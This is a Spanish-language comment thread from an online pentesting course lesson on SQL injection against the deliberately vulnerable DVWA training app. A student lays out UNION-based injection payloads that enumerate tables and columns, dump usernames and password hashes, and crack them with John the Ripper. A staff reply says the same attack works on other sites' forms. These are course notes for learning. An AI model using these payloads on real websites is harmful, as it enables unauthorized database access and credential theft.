Continuando con el ataque de inyección de código

Clase 46 de 54 • Curso de Pentesting 2019

Agustin Erwin Sigfrido Devesa

student•

Seguimos con las consultas

SELECT first_name, last_name
FROM user
WHERE user_id = ‘%’ or ‘0’ = ‘0’

UNION SELECT null, version() #

version(): Nos dice la versión de MySQL que se ejecuta.
user(): Nos dice cual es el usuario que esta ejecutando la aplicación
database(): Nos dice el nombre de la base de datos
table_name from information_schema.tables: nos trae el nombre de todas las tablas de information_schema.tables.
table_name from information_schema.tables WHERE table_name like 'user%': nos trae los nombres de las tablas con posible informacion sensible sobre usuarios.

SELECT first_name, last_name
FROM user
WHERE user_id = ‘%’ or ‘1’ = ‘0’

UNION SELECT null,
CONCAT(table_name,0x0a,column_name)
FROM information_schema.columns
WHERE table_name = ‘users’
#

Lo que se debe copiar en el text box:

`%’ or ‘1’ = ‘0’
UNION SELECT null,
CONCAT(table_name,0x0a,column_name)
FROM information_schema.columns
WHERE table_name = ‘users’
#

Con esta consulta se puede averiguar las columnas de la tabla users.

SELECT first_name, last_name
FROM user
WHERE user_id = ‘%’ or ‘1’ = ‘0’

UNION SELECT null,
CONCAT(
first_name,0x0a,
last_name,0x0a,
user,0x0a,
password)
FROM users

Con esta consulta obtener el nombre, apellido, usuario y contraseña de la tabla usuarios. Podemos observar que las contraseñas vienen cifradas, por lo que con John the Ripper averiguamos qué contraseña es.

john --format=raw-MD5 hashdvwa
hashdvwa: nombre de un archivo donde se almaceno la contraseña cifrada en texto plano.

Juan Guillermo Perez Cardozo

student•

Excelente ilustracion

Sergio López Humanes

student•

Toda esta inyección que web es la que se atacaría o se inyectaría, en este caso DVWA?. O esta web sirve como base para otras?. Si no, con que se hace en otras webs?.

Diego Forero

Team Platzi•

En otras webs el ataque es igual lo único que cambia es la url, al hacer la auditoria puedes encontrar por ejemplo una url que tiene esa vulnerabilidad puede ser por lo general urls con formularios, y puedes iniciar el ataque como se indica en el video.

David Toca

student•

DVWA expone varias vulnerabilidades comunes en las paginas web, lo que se esta haciendo en esta clase es explotar dichas vulnerabilidade. Dicho de otro modo, esta pagina web fue diseñada a proposito con dichas vulnerabilidades, con el motivo de aprender como detectar estas vulnerabilidades en otras paginas web